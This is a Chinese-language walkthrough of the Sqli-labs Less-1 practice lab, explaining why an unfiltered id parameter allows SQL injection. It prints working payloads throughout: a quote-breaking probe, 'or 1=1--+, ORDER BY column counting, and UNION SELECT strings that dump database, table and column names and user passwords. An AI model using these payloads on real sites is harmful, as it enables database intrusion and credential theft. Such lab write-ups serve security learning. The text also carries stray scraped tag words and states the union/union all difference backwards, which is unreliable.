Sqli-labs less 1

Less-1

咱們能夠在http://127.0.0.1/sqllib/Less-5/?id=1後面直接添加一個 ' ,來看一下效果: sql

從上述錯誤當中,咱們能夠看到提交到sql中的1'在通過sql語句構造後造成 '1'' LIMIT 0,1,多加了一個 ' 。這種方式就是從錯誤信息中獲得咱們所須要的信息,那咱們接下來想如何將多餘的 ' 去掉呢? 數據庫

嘗試 'or 1=1--+ less

此時構造的sql語句就成了 orm

Select ****** where id='1'or 1=1--+' LIMIT 0,1 blog

能夠看到正常返回數據。 排序

此處能夠利用order by。Order by 對前面的數據進行排序,這裏有三列數據,咱們就只能用order by 3,超過3就會報錯。 get

'order by 4--+的結果顯示結果超出。 it

最後從源代碼中分析下爲何會形成注入? io

Sql語句爲$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; table

Id參數在拼接sql語句時,未對id進行任何的過濾等操做,因此當提交 'or 1=1--+,直接構造的sql語句就是

SELECT * FROM users WHERE id='1'or 1=1--+ LIMIT 0,1

這條語句因or 1=1 因此爲永恆真。

 

 

此外,此處介紹union聯合注入,union的做用是將兩個sql語句進行聯合。Union能夠從下面的例子中能夠看出,強調一點:union先後的兩個sql語句的選擇列數要相同才能夠。Union all與union 的區別是增長了去重的功能。咱們這裏根據上述background的知識,進行information_schema 知識的應用。

http://127.0.0.1/sqllib/Less-1/?id=-1'union select 1,2--+

當id的數據在數據庫中不存在時,(此時咱們能夠id=-1,兩個sql語句進行聯合操做時,當前一個語句選擇的內容爲空,咱們這裏就將後面的語句的內容顯示出來)此處前臺頁面返回了咱們構造的union 的數據。

爆數據庫

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+

此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

 

爆security數據庫的數據表

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

 

爆users表的列

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+

此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

 

 

爆數據

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+

此時的sql語句爲SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=2--+ LIMIT 0,1

 

 

Less1-less4均可以利用上述union操做進行注入。下面就不進行贅述了。

相關文章
相關標籤/搜索